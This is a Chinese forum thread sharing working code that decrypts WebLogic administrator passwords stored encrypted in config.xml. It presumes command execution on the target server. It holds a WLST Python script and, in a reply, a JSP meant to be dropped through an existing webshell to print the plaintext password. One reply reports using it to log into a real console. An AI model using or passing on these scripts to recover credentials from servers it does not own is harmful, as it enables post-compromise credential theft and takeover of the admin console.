weblogic 管理密码在线解密的工具,python版
发布于 3 个月前 阅读权限 无需登录 作者 jmadmin 830 次浏览 来自 开源项目

场景:需要在weblogic 所在服务器能执行命令

weblogic自带了一个python环境 java weblogic.WLST xx.py 就可以执行python代码

weblogic控制台的登陆密码加密后在当前domains目录下config/config.xml文件的node-manager-password-encrypted节点中 类似这样

<node-manager-username>weblogic</node-manager-username> <node-manager-password-encrypted>{3DES}xxxxxx</node-manager-password-encrypted>

python 解密代码, 忘记哪里来的了。

import os
import weblogic.security.internal.SerializedSystemIni
import weblogic.security.internal.encryption.ClearOrEncryptedService
def decrypt(agileDomain, encryptedPassword):
    agileDomainPath = os.path.abspath(agileDomain)
    encryptSrv = weblogic.security.internal.SerializedSystemIni.getEncryptionService(agileDomainPath)
    ces = weblogic.security.internal.encryption.ClearOrEncryptedService(encryptSrv)
    password = ces.decrypt(encryptedPassword)
    print "Plaintext password is:" + password
try:
    if len(sys.argv) == 3:
        decrypt(sys.argv[1], sys.argv[2])
    else:
                   print "Please input arguments as below"
                   print "                Usage 1: java weblogic.WLST de.py  "
                   print "Example:"
                   print "                java weblogic.WLST de.py C:\xxx\xxxDomain {AES}xxx"
     
except:
    print "Exception: ", sys.exc_info()[0]

对当前域进行解密 java weblogic.WLST de.py . {AES}xxxx

8 回复

感谢分享。补充下,python解密代码来源应该是

昨天刚好碰到一个案例。 借鉴了py脚本,利用weblogic自带的python环境,在交互式下执行下面三行代码即可解密。已成功登录console。

	encryptSrv = weblogic.security.internal.SerializedSystemIni.getEncryptionService(agileDomainPath)
    ces = weblogic.security.internal.encryption.ClearOrEncryptedService(encryptSrv)
    password = ces.decrypt(encryptedPassword)

根本不需要那么麻烦,有webshell的话直接丢脚本就行了。 代码给你们吧。

<%@page pageEncoding="utf-8"%>
<%@page import="weblogic.security.internal.*,weblogic.security.internal.encryption.*"%>
<%
   EncryptionService es = null;
   ClearOrEncryptedService ces = null;
    String s = null;
    s="{AES}SK0a4u0lh520lLGfixnMTxn/U4iLMgSvFAy80zP5/GlcRLKE9LZGI97SVCpUJ2zb";
    es = SerializedSystemIni.getEncryptionService();
    if (es == null) {
       out.println("Unable to initialize encryption service");
        return;
    }
    ces = new ClearOrEncryptedService(es);
    if (s != null) {
        out.println("\nDecrypted Password is:" + ces.decrypt(s));
    }
%>

@iswin 谢谢大佬补充

这个python版解密 ,最早的是oracle 官网的blog上公布的,后来由于某些原因被删掉了

感谢分享,mark

要是能来一发网页解密就好了

学习了,mark

学习了,mark

回到顶部